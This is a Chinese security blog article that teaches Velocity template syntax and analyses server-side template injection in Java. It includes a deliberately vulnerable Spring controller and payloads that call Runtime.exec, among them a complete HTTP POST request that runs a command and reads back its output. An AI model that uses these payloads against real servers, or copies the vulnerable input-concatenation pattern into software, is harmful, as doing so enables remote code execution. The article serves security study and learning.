JAVA安全之Velocity模板注入刨析

2024-08-28 04:44

本文主要是介绍JAVA安全之Velocity模板注入刨析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章前言

关于Velocity模板注入注入之前一直缺乏一个系统性的学习和整理,搜索网上大多数类似的内容都是一些关于漏洞利用的复现,而且大多都仅限于Velocity.evaluate的执行,对于载荷的构造以及执行过程并没有详细的流程分析,于是乎只能自己动手来填坑了~

模板介绍

Apache Velocity是一个基于模板的引擎,用于生成文本输出(例如:HTML、XML或任何其他形式的ASCII文本),它的设计目标是提供一种简单且灵活的方式来将模板和上下文数据结合在一起,因此被广泛应用于各种Java应用程序中包括Web应用

基本语法

Apache Velocity的语法简洁明了,主要由变量引用、控制结构(例如:条件和循环)、宏定义等组成

变量引用

在Velocity模板中可以使用$符号来引用上下文中的变量,例如:

Hello, $name!

示例代码:

#Java代码
context.put("name", "Al1ex");#模板内容
Hello, $name!     // 输出: Hello, Al1ex!

条件判断

Velocity支持基本的条件判断,通过#if、#else和#end指令来实现:

#if($user.isLoggedIn())Welcome back, $user.name!
#elsePlease log in.
#end

示例代码:

#Java代码context.put("user", new User("Al1ex", true)); // 假设 User 类有 isLoggedIn 方法#模板内容#if($user.isLoggedIn())Welcome back, $user.name!
#elsePlease log in.
#end// 输出: Welcome back, Al1ex!

循环操作

通过使用#foreach来遍历集合或数组

#foreach($item in $items)<li>$item</li>
#end

示例代码:

#Java代码
context.put("items", Arrays.asList("Apple", "Banana", "Cherry"));#模板内容<ul>
#foreach($item in $items)<li>$item</li>
#end
</ul>#输出:
<ul><li>Apple</li><li>Banana</li><li>Cherry</li>
</ul>

宏定义类

Velocity支持定义宏,方便复用代码块,宏通过#macro定义,通过#end结束:

#macro(greet $name)Hello, $name!
#end#greet("World")

示例代码:

#模板内容
#macro(greet $name)Hello, $name!
#end#greet("Alice")#输出: Hello, Alice!

方法调用

Velocity允许使用#符号调用工具类的方法,在使用工具类时你需要在上下文中放入相应的对象

#set($currentDate = $dateTool.get("yyyy-MM-dd"))Today's date is $currentDate.

示例代码:

import org.apache.commons.lang3.time.DateUtils;#Java代码
context.put("dateTool", new DateUtils());#模板内容
#set($currentDate = $dateTool.format(new Date(), "yyyy-MM-dd"))Today's date is $currentDate.#输出内容: 
Today's date is 2024-08-16

包含插入

Velocity支持包含其他模板文件,通过#include指令实现,例如:
主模板文件main.vm

Hello, $name!#if($isAdmin)#include("adminDashboard.vm")
#else#include("userDashboard.vm")
#end

用户仪表盘模板文件userDashboard.vm

Welcome to your user dashboard.
Here are your notifications...

管理员仪表盘模板文件adminDashboard.vm

Welcome to the admin dashboard.
You have access to all administrative tools.

假设我们有以下 Java 代码来渲染主模板:

import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;import java.io.StringWriter;public class IncludeExample {public static void main(String[] args) {// 初始化 Velocity 引擎VelocityEngine velocityEngine = new VelocityEngine();velocityEngine.init();// 创建上下文并添加数据VelocityContext context = new VelocityContext();context.put("name", "John Doe");context.put("isAdmin", true); // 或者 false,取决于用户权限// 渲染主模板Template template = velocityEngine.getTemplate("main.vm");StringWriter writer = new StringWriter();// 合并上下文与模板template.merge(context, writer);// 输出结果System.out.println(writer.toString());}
}

根据给定的上下文,如果isAdmin为 true,输出将会是:

Hello, John Doe!
Welcome to the admin dashboard.
You have access to all administrative tools.

如果isAdmin为false,输出将会是:

Hello, John Doe!
Welcome to your user dashboard.
Here are your notifications...

数学运算

Velocity也支持基本的数学运算和字符串操作

#set($total = $price * $quantity)
The total cost is $total.#set($greeting = "Hello, " + $name)
$greeting

示例代码:

#Java代码
context.put("price", 10);
context.put("quantity", 3);
context.put("name", "Al1ex");#模板内容
#set($total = $price * $quantity)
The total cost is $total.#set($greeting = "Hello, " + $name)
$greeting#输出内容:
The total cost is 30.
Hello, Al1ex

标识符类

'#'号标识符

在Apache Velocity模板引擎中#符号用来标识各种脚本语句,允许开发者在模板中实现逻辑控制、数据处理和代码重用等功能,下面是一些常见的以#开头的Velocity指令:
1、#set
用于设置变量的值

#set($name = "John")
Hello, $name!  ## 输出:Hello, John!

2、#if
用于条件判断

#if($age >= 18)You are an adult.
#elseYou are a minor.
#end

3、#else
'#'和if搭配使用,表示其它情况

#if($isMember)Welcome back, member!
#elsePlease sign up.
#end

4、#foreach
用于遍历集合(例如:数组或列表)

#foreach($item in $items)Item: $item
#end

5、#include
用于包含其他文件的内容

#include("header.vm")

6、#parse
类似于#include,但更适合解析并执行另一个模板文件

#parse("footer.vm")

7、#macro
用于定义可重用的宏

#macro(greeting $name)Hello, $name!
#end#greeting("Alice")  ## 输出:Hello, Alice!

8、#break
在循环中用于提前退出循环

#foreach($i in [1..5])#if($i == 3)#break#end$i
#end

9、#stop
在模板的渲染过程中停止进一步的处理

#if($condition)#stop
#end

10、#directive
用于创建自定义指令

#directive(myDirective)

{}标识符

Velocity中的{}标识符用于变量和表达式的引用,它们提供了一种简洁的方法来插入变量值、调用方法或访问对象属性,例如:
1、引用变量
可以使用${}来引用一个变量的值,变量通常通过#set指令定义

#set($name = "John")Hello, ${name}!  ## 输出:Hello, John!

2、访问对象属性
如果变量是一个对象,那么可以使用${}来访问该对象的属性

#set($person = {"firstName": "Jane", "lastName": "Doe"})
Hello, ${person.firstName} ${person.lastName}!  ## 输出:Hello, Jane Doe!

3、调用方法
在${}中调用对象的方法

#set($dateTool = $tool.date)
Today's date is: ${dateTool.format("yyyy-MM-dd")}  ## 输出当前日期

$标识符

在Apache Velocity模板引擎中$符号用于表示变量的引用,通过$您可以访问在模板中定义的变量、对象属性和方法,这是Velocity的核心特性之一,使得模板能够动态地插入数据
1、引用变量
使用$可以直接引用之前声明的变量,通常变量是通过#set指令定义的

#set($username = "Alice")
Welcome, $username!  ## 输出:Welcome, Alice!

2、访问对象属性
如果变量是一个对象,可以使用$来访问该对象的属性,例如:如果你有一个用户对象,你可以获取其属性

#set($user = {"name": "Bob", "age": 30})
Hello, $user.name! You are $user.age years old.  ## 输出:Hello, Bob! You are 30 years old.

3、调用方法
通过$来调用对象的方法以便执行某些操作或获取计算的结果

#set($dateTool = $tool.date)Today's date is: $dateTool.format("yyyy-MM-dd")  ## 输出当前日期

4、表达式计算
虽然$本身只用于变量引用,但可以与{}结合使用来实现简单的数学运算

#set($a = 5)
#set($b = 10)
The sum of $a and $b is ${a + b}.  ## 输出:The sum of 5 and 10 is 15.

! 标识符

在Apache Velocity模板引擎中!符号主要用于处理变量的空值(null)和默认值,它提供了一种简单的方法来确保在引用变量时,如果该变量为空则使用一个默认值,这种功能有助于避免在模板中出现空值,从而增强模板的健壮性和用户体验,当您想要引用一个变量并提供一个默认值时,可以使用${variable!"defaultValue"}的语法,其中:
variable 是您希望引用的变量名
defaultValue 是该变量为空时将使用的值
1、基本使用
在这个例子中由于$name是空字符串所以输出了默认值"Guest"

#set($name = "")Welcome, ${name!"Guest"}!  ## 输出:Welcome, Guest!

2、带有实际值的变量
如果变量有值那么!不会影响其输出,因为在这个例子中$name有值"Alice",所以会直接输出这个值

#set($name = "Alice")Welcome, ${name!"Guest"}!  ## 输出:Welcome, Alice!

模板注入

Velocity.evaluate

方法介绍

Velocity.evaluate是Velocity引擎中的一个方法,用于处理字符串模板的评估,Velocity是一个基于Java的模板引擎,广泛应用于WEB开发和其他需要动态内容生成的场合,Velocity.evaluate方法的主要作用是将给定的模板字符串与上下文对象结合并生成最终的输出结果,这个方法通常用于在运行时动态创建内容,比如:生成HTML页面的内容或电子邮件的文本,方法如下所示:

public static void evaluate(Context context, Writer writer, String templateName, String template)

参数说明:

  • Context context:提供模板所需的数据上下文,可以包含多个键值对
  • Writer writer:输出流,用于写入生成的内容
  • String templateName:模板的名称,通常用于调试信息中
  • String template:要评估的模板字符串

示例代码

简易构造如下代码所示:

package com.velocity.velocitytest.controller;import org.apache.velocity.app.Velocity;
import org.apache.velocity.VelocityContext;
import org.springframework.web.bind.annotation.*;import java.io.StringWriter;@RestController
public class VelocityController {@RequestMapping("/ssti/velocity1")@ResponseBodypublic String velocity1(@RequestParam(defaultValue="Al1ex") String username) {String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";Velocity.init();VelocityContext ctx = new VelocityContext();ctx.put("name", "Al1ex Al2ex Al3ex");ctx.put("phone", "18892936458");ctx.put("email", "Al1ex@heptagram.com");StringWriter out = new StringWriter();Velocity.evaluate(ctx, out, "test", templateString);return out.toString();}
}

利用载荷

通过上面的菲尼我们可以构造如下payload:

username=#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c calc")

调试分析

下面我们在Velocity.evaluate功能模块处打断点进行调试分析:


上面参数传递拼接templateString,带入Velocity.evaluate调用evaluate方法:


随后继续向下跟进,在这调用当前类中的evaluate

随后在evaluate中先检查模板名称是否为空,不为空后调用parser进行模板解析:

在这里首先检查是否已经初始化解析器,如果未初始化则进行初始化操作,随后从解析器池中获取一个Parser对象,如果池中没有可用的解析器,则将keepParser标志设为true以便找到对应的适配的解析器,紧接着调用dumpVMNamespace(templateName)方法来转储命名空间信息并使用parser.parse(reader, templateName)方法从reader中解析模板,返回的结果存储在var6中

随后调用parser进行模板解析,首先初始化和状态清理,随后开始进行解析

public SimpleNode parse(Reader reader, String templateName) throws ParseException {SimpleNode sn = null;this.currentTemplateName = templateName;try {this.token_source.clearStateVars();this.velcharstream.ReInit(reader, 1, 1);this.ReInit((CharStream)this.velcharstream);sn = this.process();} catch (MacroParseException var6) {this.rsvc.getLog().error("Parser Error: " + templateName, var6);throw var6;} catch (ParseException var7) {this.rsvc.getLog().error("Parser Exception: " + templateName, var7);throw new TemplateParseException(var7.currentToken, var7.expectedTokenSequences, var7.tokenImage, this.currentTemplateName);} catch (TokenMgrError var8) {throw new ParseException("Lexical error: " + var8.toString());} catch (Exception var9) {String msg = "Parser Error: " + templateName;this.rsvc.getLog().error(msg, var9);throw new VelocityException(msg, var9);}this.currentTemplateName = "";return sn;}

随后进行模板渲染操作,如果nodeTree为null,则返回false,表示评估失败,如果nodeTree不为null,则调用render方法,使用提供的上下文、写入器和日志标签来渲染模板,将render方法的结果(布尔值)作为返回值,如果渲染成功则返回 true,否则返回false


render渲染代码如下所示:

public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) {InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);ica.pushCurrentTemplateName(logTag);try {try {nodeTree.init(ica, this);} catch (TemplateInitException var18) {throw new ParseErrorException(var18, (String)null);} catch (RuntimeException var19) {throw var19;} catch (Exception var20) {String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;this.getLog().error(msg, var20);throw new VelocityException(msg, var20);}try {if (this.provideEvaluateScope) {Object previous = ica.get(this.evaluateScopeName);context.put(this.evaluateScopeName, new Scope(this, previous));}nodeTree.render(ica, writer);} catch (StopCommand var21) {if (!var21.isFor(this)) {throw var21;}if (this.getLog().isDebugEnabled()) {this.getLog().debug(var21.getMessage());}} catch (IOException var22) {throw new VelocityException("IO Error in writer: " + var22.getMessage(), var22);}} finally {ica.popCurrentTemplateName();if (this.provideEvaluateScope) {Object obj = ica.get(this.evaluateScopeName);if (obj instanceof Scope) {Scope scope = (Scope)obj;if (scope.getParent() != null) {ica.put(this.evaluateScopeName, scope.getParent());} else if (scope.getReplaced() != null) {ica.put(this.evaluateScopeName, scope.getReplaced());} else {ica.remove(this.evaluateScopeName);}}}}return true;}

随后通过render将模板的内容渲染到指定的Writer中,jjtGetNumChildren()用于获取子节点数量,this.jjtGetChild(i)获取第i个子节点,对每个子节点调用其render方法将上下文和写入器作为参数传递:


render的具体实现如下所示,在这里会调用execute方法来进行具体的解析操作:

execute的执行代码如下所示,可以看到这里的children即为我们传入的参数值:

public Object execute(Object o, InternalContextAdapter context) throws MethodInvocationException {if (this.referenceType == 4) {return null;} else {Object result = this.getVariableValue(context, this.rootString);if (result == null && !this.strictRef) {return EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, (Object)null, (String)null, this.uberInfo);} else {try {Object previousResult = result;int failedChild = -1;String methodName;for(int i = 0; i < this.numChildren; ++i) {if (this.strictRef && result == null) {methodName = this.jjtGetChild(i).getFirstToken().image;throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));}previousResult = result;result = this.jjtGetChild(i).execute(result, context);if (result == null && !this.strictRef) {failedChild = i;break;}}if (result == null) {if (failedChild == -1) {result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, previousResult, (String)null, this.uberInfo);} else {StringBuffer name = (new StringBuffer(this.getDollarBang())).append(this.rootString);for(int i = 0; i <= failedChild; ++i) {Node node = this.jjtGetChild(i);if (node instanceof ASTMethod) {name.append(".").append(((ASTMethod)node).getMethodName()).append("()");} else {name.append(".").append(node.getFirstToken().image);}}if (this.jjtGetChild(failedChild) instanceof ASTMethod) {methodName = ((ASTMethod)this.jjtGetChild(failedChild)).getMethodName();result = EventHandlerUtil.invalidMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);} else {methodName = this.jjtGetChild(failedChild).getFirstToken().image;result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);}}}return result;} catch (MethodInvocationException var9) {var9.setReferenceName(this.rootString);throw var9;}}}}

通过反射获取执行的类

最终递归解析到"cmd.exe /c calc"

最后完成解析执行:

template.merge(ctx, out)

方法介绍

在Java的Velocity模板引擎中template.merge(ctx, out)是一个关键的方法,它主要用于将模板与给定的上下文数据合并,同时将结果输出到指定的目标,方法格式如下所示:

void merge(Context context, Writer writer)

参数说明:

  • Context context:包含动态数据的上下文对象,通常是VelocityContext的实例,使用上下文可以为模板提供变量和数据,使得模板能够在渲染时采用这些值
  • Writer writer: Writer类型的对象指定了合并后内容的输出目标,常见的实现包括 StringWriter, PrintWriter 等,可以将生成的内容写入字符串、文件或其他输出流

示例代码

Step 1:添加依赖
在pom.xml中添加以下依赖:

<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity --><dependency><groupId>org.apache.velocity</groupId><artifactId>velocity</artifactId><version>1.7</version></dependency>

Step 2:创建模板文件
在项目的src/main/resources/templates目录下创建一个名为template.vm的文件,内容如下

Hello, $name!#set($totalPrice = $price * $quantity)
The total cost for $quantity items at $price each is: $totalPrice.#foreach($item in $items)
- Item: $item
#end

Step 3:创建Controller类
接下来我们创建一个控制器类用于处理请求并返回渲染后的模板

package com.velocity.velocitytest.controller;import org.apache.velocity.Template;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.context.Context;
import org.apache.velocity.VelocityContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;import java.io.StringWriter;
import java.util.Arrays;@RestController
public class VelocityController {private final VelocityEngine velocityEngine;@Autowiredpublic VelocityController(VelocityEngine velocityEngine) { //通过构造函数注入方式获得Velocity引擎实例this.velocityEngine = velocityEngine;}@GetMapping("/generate")public String generate(@RequestParam String name,@RequestParam double price,@RequestParam int quantity) {// Step 1: 加载模板Template template = velocityEngine.getTemplate("template.vm");// Step 2: 创建上下文并填充数据Context context = new VelocityContext();context.put("name", name);context.put("price", price);context.put("quantity", quantity);context.put("items", Arrays.asList("Apple", "Banana", "Cherry"));// Step 3: 合并模板和上下文StringWriter writer = new StringWriter();template.merge(context, writer);// 返回结果return writer.toString();}
}

Step 4:配置Velocity
为了使Velocity引擎可以工作,我们需要在Spring Boot应用程序中进行一些配置,创建一个配置类如下所示

package com.velocity.velocitytest.config;import org.apache.velocity.app.VelocityEngine;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;import java.util.Properties;@Configuration
public class VelocityConfig {@Beanpublic VelocityEngine velocityEngine() {Properties props = new Properties();props.setProperty("resource.loader", "file");props.setProperty("file.resource.loader.path", "src/main/resources/templates"); // 模板路径VelocityEngine velocityEngine = new VelocityEngine(props);velocityEngine.init();return velocityEngine;}
}

Step 5:运行项目并进行访问

http://localhost:8080/generate?name=Alice&price=10.99&quantity=3

通过上面的菲尼我们可以构造如下payload:

username=#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c calc")

调试分析

下面我们简易分析一下如何通过控制模板文件造成命令执行的过程,首先我们在template.merge处下断点:

随后在merge中调用当前类的merge:

随后调用render方法进行渲染:

随后通过render将模板的内容渲染到指定的Writer中,jjtGetNumChildren()用于获取子节点数量,this.jjtGetChild(i)获取第i个子节点,对每个子节点调用其render方法将上下文和写入器作为参数传递:

render的具体实现如下所示,在这里会调用execute方法来进行具体的解析操作:

execute的执行代码如下所示:

public Object execute(Object o, InternalContextAdapter context) throws MethodInvocationException {if (this.referenceType == 4) {return null;} else {Object result = this.getVariableValue(context, this.rootString);if (result == null && !this.strictRef) {return EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, (Object)null, (String)null, this.uberInfo);} else {try {Object previousResult = result;int failedChild = -1;String methodName;for(int i = 0; i < this.numChildren; ++i) {if (this.strictRef && result == null) {methodName = this.jjtGetChild(i).getFirstToken().image;throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));}previousResult = result;result = this.jjtGetChild(i).execute(result, context);if (result == null && !this.strictRef) {failedChild = i;break;}}if (result == null) {if (failedChild == -1) {result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, previousResult, (String)null, this.uberInfo);} else {StringBuffer name = (new StringBuffer(this.getDollarBang())).append(this.rootString);for(int i = 0; i <= failedChild; ++i) {Node node = this.jjtGetChild(i);if (node instanceof ASTMethod) {name.append(".").append(((ASTMethod)node).getMethodName()).append("()");} else {name.append(".").append(node.getFirstToken().image);}}if (this.jjtGetChild(failedChild) instanceof ASTMethod) {methodName = ((ASTMethod)this.jjtGetChild(failedChild)).getMethodName();result = EventHandlerUtil.invalidMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);} else {methodName = this.jjtGetChild(failedChild).getFirstToken().image;result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);}}}return result;} catch (MethodInvocationException var9) {var9.setReferenceName(this.rootString);throw var9;}}}}

通过反射获取执行的类

最后完成解析执行:

补充一个可用载荷:

POST /ssti/velocity1 HTTP/1.1
Host: 192.168.1.7:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 303username=#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cmd.exe /c calc"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

这篇关于JAVA安全之Velocity模板注入刨析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1113759

相关文章

java脚本使用不同版本jdk的说明介绍

《java脚本使用不同版本jdk的说明介绍》本文介绍了在Java中执行JavaScript脚本的几种方式,包括使用ScriptEngine、Nashorn和GraalVM,ScriptEngine适用... 目录Java脚本使用不同版本jdk的说明1.使用ScriptEngine执行javascript2.

Spring MVC如何设置响应

《SpringMVC如何设置响应》本文介绍了如何在Spring框架中设置响应,并通过不同的注解返回静态页面、HTML片段和JSON数据,此外,还讲解了如何设置响应的状态码和Header... 目录1. 返回静态页面1.1 Spring 默认扫描路径1.2 @RestController2. 返回 html2

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

Java操作ElasticSearch的实例详解

《Java操作ElasticSearch的实例详解》Elasticsearch是一个分布式的搜索和分析引擎,广泛用于全文搜索、日志分析等场景,本文将介绍如何在Java应用中使用Elastics... 目录简介环境准备1. 安装 Elasticsearch2. 添加依赖连接 Elasticsearch1. 创

Spring核心思想之浅谈IoC容器与依赖倒置(DI)

《Spring核心思想之浅谈IoC容器与依赖倒置(DI)》文章介绍了Spring的IoC和DI机制,以及MyBatis的动态代理,通过注解和反射,Spring能够自动管理对象的创建和依赖注入,而MyB... 目录一、控制反转 IoC二、依赖倒置 DI1. 详细概念2. Spring 中 DI 的实现原理三、

SpringBoot 整合 Grizzly的过程

《SpringBoot整合Grizzly的过程》Grizzly是一个高性能的、异步的、非阻塞的HTTP服务器框架,它可以与SpringBoot一起提供比传统的Tomcat或Jet... 目录为什么选择 Grizzly?Spring Boot + Grizzly 整合的优势添加依赖自定义 Grizzly 作为

Java后端接口中提取请求头中的Cookie和Token的方法

《Java后端接口中提取请求头中的Cookie和Token的方法》在现代Web开发中,HTTP请求头(Header)是客户端与服务器之间传递信息的重要方式之一,本文将详细介绍如何在Java后端(以Sp... 目录引言1. 背景1.1 什么是 HTTP 请求头?1.2 为什么需要提取请求头?2. 使用 Spr

Java如何通过反射机制获取数据类对象的属性及方法

《Java如何通过反射机制获取数据类对象的属性及方法》文章介绍了如何使用Java反射机制获取类对象的所有属性及其对应的get、set方法,以及如何通过反射机制实现类对象的实例化,感兴趣的朋友跟随小编一... 目录一、通过反射机制获取类对象的所有属性以及相应的get、set方法1.遍历类对象的所有属性2.获取

Java中的Opencv简介与开发环境部署方法

《Java中的Opencv简介与开发环境部署方法》OpenCV是一个开源的计算机视觉和图像处理库,提供了丰富的图像处理算法和工具,它支持多种图像处理和计算机视觉算法,可以用于物体识别与跟踪、图像分割与... 目录1.Opencv简介Opencv的应用2.Java使用OpenCV进行图像操作opencv安装j

java Stream操作转换方法

《javaStream操作转换方法》文章总结了Java8中流(Stream)API的多种常用方法,包括创建流、过滤、遍历、分组、排序、去重、查找、匹配、转换、归约、打印日志、最大最小值、统计、连接、... 目录流创建1、list 转 map2、filter()过滤3、foreach遍历4、groupingB